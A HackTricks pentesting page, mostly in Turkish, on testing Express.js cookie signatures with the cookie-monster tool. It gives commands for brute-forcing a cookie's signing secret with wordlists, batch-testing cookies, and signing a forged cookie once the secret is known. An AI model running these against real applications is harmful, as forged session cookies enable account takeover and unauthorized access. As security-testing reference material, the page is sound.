32 lines
1023 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NodeJS Express
{{#include ../../banners/hacktricks-training.md}}
## Cookie İmzası
The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) Express.js çerez gizli anahtarlarının test edilmesi ve yeniden imzalanması için otomatikleştirilmiş bir yardımcı programdır.
### Belirli bir adı olan tek çerez
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
```
### Özel kelime listesi
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
```
### Birden fazla çerezi toplu modda test etme
```bash
cookie-monster -b -f cookies.json
```
### Özel bir kelime listesi ile toplu modda birden fazla çerezi test et
```bash
cookie-monster -b -f cookies.json -w custom.lst
```
### Encode and sign a new cookie
Eğer sırrı biliyorsanız, çerezi imzalayabilirsiniz.
```bash
cookie-monster -e -f new_cookie.json -k secret
```
{{#include ../../banners/hacktricks-training.md}}